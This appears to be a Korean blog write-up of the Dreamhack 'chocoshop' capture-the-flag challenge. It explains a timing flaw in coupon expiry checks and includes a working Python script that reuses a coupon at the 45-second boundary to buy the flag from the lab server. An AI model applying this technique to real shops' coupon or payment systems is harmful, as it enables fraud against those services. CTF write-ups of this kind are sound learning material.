본문 바로가기

카테고리 없음

dreamhack chocoshop

728x90

접속 화면

문제에 접속하면 세션을 발급 받는 페이지가 나온다.

 

세션을 발급 받으면 Shop과 Mypage 버튼이 뜬다.

 

SHOP 페이지에 들어가보면 빼빼로와 Flag 상품을 판매하고있다.

 

상품을 클릭해보면 돈이 없어서 상품을 살 수가 없다.

 

My page 페이지를 확인해보니, 쿠폰 발급 및 사용 기능이 있다.

 

쿠폰을 발급 받아서 사용해보았다.

오른쪽 상단에 1000 파운드가 충전이 된 걸 확인했다.

Flag 상품을 구입하려면 쿠폰을 중복 발급 받을 수 있어야 하는데, 지금은 재발급이 차단되어있으니 코드를 살펴보자.

 

코드를 보니 발급받은 시점으로부터 45초가 지나면 쿠폰이 만료된다.

 

발급 받은 쿠폰을 submit하면 used_coupon 키가 생성되는데, 이 used_coupon 키값이 존재하는 쿠폰은 재사용이 불가능하다. used_coupon 키값도 45초 이후 만료된다.

 

expiration 코드를 살펴보면, 쿠폰 만료 여부를 확인하는 if문을 보면 오직 클 경우에 대해서만 만료로 처리하고 있다.

expiration에 대한 검증이 순차적으로 진행이 되고 있다는 것이다.

 

time()함수는 현재 시간을 초 단위로 반환하기 때문에 모든 시간을 45초와 46초로 구분한다.

딱 45초인 경우에 만료 여부를 확인하는 if문을 수행하면 만료 여부 확인 if문을 넘어갈 수 있으며, 이후에는 45초가 아주 약간 지났으므로 used_coupon의 키값은 사라져 사용하지 않은 쿠폰이 되는 것이다. 

즉, 45초와 46초 사이에  used_coupon 값을 확인할 때에는 used_coupon값은 만료되어 재생성될 것이므로 그 사이의 시간을 공략하면 쿠폰을 재사용할 수 있다.

 

import requests
import json
import time
 
# 문제 페이지 URL과 세션 ID 설정
url = "http://host3.dreamhack.games:18298/"
session_id = "d99f95d3a21941b4930afaad635eaeeb"
 
def claim_coupon(session):
    headers = {"Authorization": session}
    response = requests.get(url + "coupon/claim", headers=headers)
    if response.status_code == 200:
        coupon = json.loads(response.text)["coupon"]
        print("Coupon claimed successfully")
        print("Coupon:", coupon)
        return coupon
    else:
        raise Exception("Failed to claim coupon")
 
def submit_coupon(session, coupon):
    headers = {"Authorization": session, "coupon": coupon}
    
    # 첫 번째 쿠폰 제출
    response = requests.get(url + "coupon/submit", headers=headers)
    print("First coupon submit response:", response.text)
    if response.status_code != 200:
        raise Exception("Failed to submit first coupon")
 
    #  45초 대기
    print("Waiting for exactly 45 seconds...")
    time.sleep(45)
    
    # 두 번째 쿠폰 제출
    response = requests.get(url + "coupon/submit", headers=headers)
    print("Second coupon submit response:", response.text)
    if response.status_code != 200:
        raise Exception("Failed to submit second coupon")
 
def claim_flag(session):
    headers = {"Authorization": session}
    response = requests.get(url + "flag/claim", headers=headers)
    print("Flag claim response:", response.text)
    if response.status_code != 200:
        raise Exception("Failed to claim flag")
    return response.text
 
if __name__ == "__main__":
    try:
        
        session = session_id
 
        # 쿠폰 클레임
        coupon = claim_coupon(session)
 
        # 쿠폰 1차 및 2차 제출
        submit_coupon(session, coupon)
 
        # 플래그 구매
        flag = claim_flag(session)
        print("Flag:", flag)
    except Exception as e:
        print("An error occurred:", str(e))

익스플로잇 코드를 작성해서 flag 값을 찾았다.

 

 

https://dreamhack.io/wargame/challenges/106

 

chocoshop

Description 드림이는 빼빼로데이를 맞아 티오리제과에서 빼빼로 구매를 위한 쿠폰을 받았습니다. 하지만 우리의 목적은 FLAG! 그런데 이런, FLAG는 너무 비싸 살 수가 없네요... 쿠폰을 여러 번 발급

dreamhack.io

 

728x90